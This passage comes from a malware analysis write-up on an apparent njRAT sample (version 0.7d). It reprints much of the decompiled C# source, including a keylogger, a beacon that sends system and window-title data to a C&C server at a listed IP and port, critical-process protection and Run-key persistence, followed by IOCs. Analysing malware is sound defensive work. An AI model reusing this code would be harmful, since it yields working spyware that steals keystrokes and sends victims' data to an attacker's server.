			obj = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(array[0]));
		}
		object objectValue2 = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(objectValue), null, "ExecQuery", array, null, null, array2)));
		IL_8A:
		num = 4;
		IEnumerator enumerator = ((IEnumerable)objectValue2).GetEnumerator();
		IL_E3:
		int num2;
		if (!enumerator.MoveNext())
		{
			bool flag2 = enumerator is IDisposable;
			if (flag2)
			{
				(enumerator as IDisposable).Dispose();
			}
			IL_10F:
			num = 8;
			result = "No AV";
		}
		else
		{
			object objectValue3 = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(enumerator.Current));
			IL_B1:
			num2 = 1;
			IL_B4:
			num = 6;
			result = NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(objectValue3), null, "displayName", new object[0], null, null, null).ToString();
		}
	}
	catch (Exception ex)
	{
		goto IL_189;
	}
	...
	IL_1B6:
	IL_1B7:
	bool flag3 = num3 != 0;
	if (flag3)
	{
	}
	return result;
}

With all that information gathered from the system, malware will now send it to the host we previously found back in the connect function. Here we can see how particular messages to the C&C servers are structured.

			string text4 = "";
			try
			{
				foreach (string text5 in OK.F.Registry.CurrentUser.CreateSubKey("Software\\" + OK.RG, RegistryKeyPermissionCheck.Default).GetValueNames())
				{
					bool flag5 = text5.Length == 32;
					if (flag5)
					{
						text4 = text4 + text5 + ",";
					}
				}
			}
			catch (Exception ex8)
			{
			}
			return text + text4;
		}

				try
				{
					bool flag2 = Operators.ConditionalCompareObjectEqual(RuntimeHelpers.GetObjectValue(OK.GTV("vn", "")), "", false);
					string text;
					if (flag2)
					{
						text = text + OK.DEB(ref OK.VN) + "\r\n";
					}
					else
					{
						string str = text;
						string text2 = Conversions.ToString(RuntimeHelpers.GetObjectValue(OK.GTV("vn", "")));
						text = str + OK.DEB(ref text2) + "\r\n";
					}
					text = string.Concat(new string[]
					{
						text,
						OK.H,
						":",
						OK.P,
						"\r\n",
						OK.DR,
						"\r\n",
						OK.EXE,
						"\r\n",
						Conversions.ToString(OK.Idr),
						"\r\n",
						Conversions.ToString(OK.IsF),
						"\r\n",
						Conversions.ToString(OK.Isu),
						"\r\n",
						Conversions.ToString(OK.BD)
					});
					OK.Send("inf" + OK.Y + OK.ENB(ref text));
				}
				catch (Exception ex4)
				{
				}
			}
			catch (Exception ex5)
			{
				OK.Cn = false;
			}
		}
		return OK.Cn;
	}

Keylogger

Going back to the KO function, we can now step into the function that will start the keylogger. Firstly, we create new instance of kl class, with one of its method being used in creation of new thread.

	try
	{
		OK.kq = new kl();
		Thread thread2 = new Thread(new ThreadStart(OK.kq.WRK), 1);
		thread2.Start();
	}
	catch (Exception ex3)
	{
	}

Starting with the WRK method that will be used to run in a new thread, we can start analyzing what is being processed by this keylogger. Based on the result of GetAsyncKeyState and CtrlKeyDown function, this code will try to run a Fix function from the current key variable.

public void WRK()
{
	this.Logs = Conversions.ToString(RuntimeHelpers.GetObjectValue(OK.GTV(this.vn, "")));
	checked
	{
		try
		{
			int num = 0;
			for (;;)
			{
				num++;
				int num2 = 0;
				do
				{
					bool flag = kl.GetAsyncKeyState(num2) == -32767 & !OK.F.Keyboard.CtrlKeyDown;
					if (flag)
					{
						Keys k = (Keys)num2;
						string text = this.Fix(k);

Here we can basically see that the malware will just replace keys such as TAB, SPACE, ENTER, etc with special notes in keylogger logs.

private string Fix(Keys k)
{
	bool flag = OK.F.Keyboard.ShiftKeyDown;
	bool capsLock = OK.F.Keyboard.CapsLock;
	if (capsLock)
	{
		bool flag2 = flag;
		flag = !flag2;
	}
	string result;
	try
	{
		Keys keys = k;
		if (keys <= Keys.End)
		{
			if (keys <= Keys.Return)
			{
				if (keys != Keys.Back)
				{
					if (keys == Keys.Tab)
					{
						return "[TAP]\r\n";
					}
					if (keys != Keys.Return)
					{
						goto IL_14F;
					}
					bool flag3 = this.Logs.EndsWith("[ENTER]\r\n");
					if (flag3)
					{
						return "";
					}
					return "[ENTER]\r\n";
				}
			}
			else
			{
				if (keys - Keys.ShiftKey <= 1)
				{
					goto IL_FD;
				}
				if (keys == Keys.Space)
				{
					return " ";
				}
				if (keys != Keys.End)
				{
					goto IL_14F;
				}
				goto IL_FD;
			}
		}
		else if (keys <= Keys.RControlKey)
		{
			if (keys != Keys.Delete)
			{
				if (keys - Keys.F1 > 11 && keys - Keys.LShiftKey > 3)
				{
					goto IL_14F;
				}
				goto IL_FD;
			}
		}
		else
		{
			if (keys != Keys.Shift && keys != Keys.Control && keys != Keys.Alt)
			{
				goto IL_14F;
			}
			goto IL_FD;
		}
		return "[" + k.ToString() + "]";
		IL_FD:
		return "";
		IL_14F:
		bool flag4 = flag;
		checked
		{
			if (flag4)
			{
				return kl.VKCodeToUnicode((uint)k).ToUpper();
			}
			result = kl.VKCodeToUnicode((uint)k);
		}
	}
	catch (Exception ex)
	{
		bool flag5 = flag;
		if (flag5)
		{
			result = Strings.ChrW((int)k).ToString().ToUpper();
			return result;
		}
		result = Strings.ChrW((int)k).ToString().ToLower();
	}
	return result;
}

After that part we can see that see a call to AV function that will only run if the length of the text returned by Fix is more than zero.

						bool flag2 = text.Length > 0;
						if (flag2)
						{
							this.Logs += this.AV();
							this.Logs += text;
						}

Looking at it, we can see that it will try to get the name of the current foreground process concatenated with the current date.

private string AV()
{
	try
	{
		IntPtr foregroundWindow = OK.GetForegroundWindow();
		int processId;
		kl.GetWindowThreadProcessId(foregroundWindow, ref processId);
		Process processById = Process.GetProcessById(processId);
		bool flag = !((foregroundWindow.ToInt32() == this.LastAV & Operators.CompareString(this.LastAS, processById.MainWindowTitle, false) == 0) | processById.MainWindowTitle.Length == 0);
		if (flag)
		{
			this.LastAV = foregroundWindow.ToInt32();
			this.LastAS = processById.MainWindowTitle;
			return string.Concat(new string[]
			{
				"\r\n\u0001",
				DateAndTime.Now.ToString("yy/MM/dd "),
				processById.ProcessName,
				" ",
				this.LastAS,
				"\u0001\r\n"
			});
		}
	}
	catch (Exception ex)
	{
	}
	return "";
}

After that, we can see that the malware will only keep last 20 * 1024 = 20480 bytes of logs data.

						this.lastKey = k;
					}
					num2++;
				}
				while (num2 <= 255);
				bool flag3 = num == 1000;
				if (flag3)
				{
					num = 0;
					int num3 = Conversions.ToInteger("20") * 1024;
					bool flag4 = this.Logs.Length > num3;
					if (flag4)
					{
						this.Logs = this.Logs.Remove(0, this.Logs.Length - num3);
					}
					OK.STV(this.vn, this.Logs, RegistryValueKind.String);
				}
				Thread.Sleep(1);
			}
		}
		catch (Exception ex)
		{
		}
	}
}

Function STV will just add another registry entry.

public static bool STV(string n, object t, RegistryValueKind typ)
{
	bool result;
	try
	{
		OK.F.Registry.CurrentUser.CreateSubKey("Software\\" + OK.RG).SetValue(n, RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(t)), typ);
		result = true;
	}
	catch (Exception ex)
	{
		result = false;
	}
	return result;
}

Going back to the KO function, we can see another check that will compare BD constant, which in this sample is set to false. Setting it to true would append to SystemEvents.SessionEnding return value of _Lambda__2 function.

	int num = 0;
	string left = "";
	bool bd = OK.BD;
	if (bd)
	{
		try
		{
			SystemEvents.SessionEnding += OK._Lambda__2;
			OK.pr(1);
		}
		catch (Exception ex4)
		{
		}
	}

Which is just a call to ED function.

		private static void _Lambda__2(object a0, SessionEndingEventArgs a1)
		{
			OK.ED();
		}

Which on the other hand is just a call to pr with argument 0.

		public static void ED()
		{
			OK.pr(0);
		}

Here, we can see a call to NtSetInformationProcess, that will set itself as critical process. Process with that status cannot bo as easly exited by user as normal running process.

		public static void pr(int i)
		{
			try
			{
				OK.NtSetInformationProcess(Process.GetCurrentProcess().Handle, 29, ref i, 4);
			}
			catch (Exception ex)
			{
			}
		}

Moving on in KO function, we can finally see that we’re close to the end. Firstly, in the beginning of the infinite loop, left variable is assigned to empty strings based on the Cn variable, which was used in the connect function and was set to true or false whether or no the connection suceeded.

	checked
	{
		for (;;)
		{
			Thread.Sleep(1000);
			bool flag6 = !OK.Cn;
			if (flag6)
			{
				left = "";
			}

After that, we can see that based on the flag8, malware will run ACT function and compare its result with the left variable. If they are different, we use another function send to send that value to the C&C server.

			Application.DoEvents();
			try
			{
				num++;
				bool flag7 = num == 5;
				if (flag7)
				{
					try
					{
						Process.GetCurrentProcess().MinWorkingSet = (IntPtr)1024;
					}
					catch (Exception ex5)
					{
					}
				}
				bool flag8 = num >= 8;
				if (flag8)
				{
					num = 0;
					string text = OK.ACT();
					bool flag9 = Operators.CompareString(left, text, false) != 0;
					if (flag9)
					{
						left = text;
						OK.Send("act" + OK.Y + text);
					}
				}

Function ACT is there just to get the text from the foreground’s window title bar.

public static string ACT()
		{
			string result;
			try
			{
				IntPtr foregroundWindow = OK.GetForegroundWindow();
				bool flag = foregroundWindow == IntPtr.Zero;
				if (flag)
				{
					return "";
				}
				string text = Strings.Space(checked(OK.GetWindowTextLength((long)foregroundWindow) + 1));
				OK.GetWindowText(foregroundWindow, ref text, text.Length);
				result = OK.ENB(ref text);
			}
			catch (Exception ex)
			{
				result = "";
			}
			return result;
		}

Lastly, malware is setting up few registers based on the isu comparision, which once again, in this sample was set to false.

				bool isu = OK.Isu;
				if (isu)
				{
					try
					{
						bool flag10 = Operators.ConditionalCompareObjectNotEqual(RuntimeHelpers.GetObjectValue(OK.F.Registry.CurrentUser.GetValue(OK.sf + "\\" + OK.RG, "")), "\"" + OK.LO.FullName + "\" ..", false);
						if (flag10)
						{
							OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");
						}
					}
					catch (Exception ex6)
					{
					}
					try
					{
						bool flag11 = Operators.ConditionalCompareObjectNotEqual(RuntimeHelpers.GetObjectValue(OK.F.Registry.LocalMachine.GetValue(OK.sf + "\\" + OK.RG, "")), "\"" + OK.LO.FullName + "\" ..", false);
						if (flag11)
						{
							OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");
						}
					}
					catch (Exception ex7)
					{
					}
				}
			}
			catch (Exception ex8)
			{
			}
		}
	}
}

Variables

All known variables set in OK class.

		private static byte[] b = new byte[5121];
		public static bool BD = Conversions.ToBoolean("False");
		public static TcpClient C = null;
		public static bool Cn = false;
		public static string DR = "TEMP";
		public static string EXE = "WindowsServices.exe";
		public static Computer F = new Computer();
		public static FileStream FS;
		public static string H = "23.106.160.131";
		public static bool Idr = Conversions.ToBoolean("False");
		public static bool Anti_CH = Conversions.ToBoolean("False");
		public static bool IsF = Conversions.ToBoolean("False");
		public static bool USB_SP = Conversions.ToBoolean("False");
		public static bool Isu = Conversions.ToBoolean("False");
		public static kl kq = null;
		private static string lastcap = "";
		public static FileInfo LO = new FileInfo(Assembly.GetEntryAssembly().Location);
		private static MemoryStream MeM = new MemoryStream();
		public static object MT = null;
		public static string P = "8888";
		public static object PLG = null;
		public static string RG = "758009881b05a845ae7f237e1858da57";
		public static string sf = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
		public static string VN = "TXlCb3Q=";
		public static string VR = "0.7d";
		public static string Y = "Y262SUCZ4UJJ";

IOCs

MD5: 6523a9deca43743987bdb6d7373fe1c5

C&C: 23.106.160[.]131:8888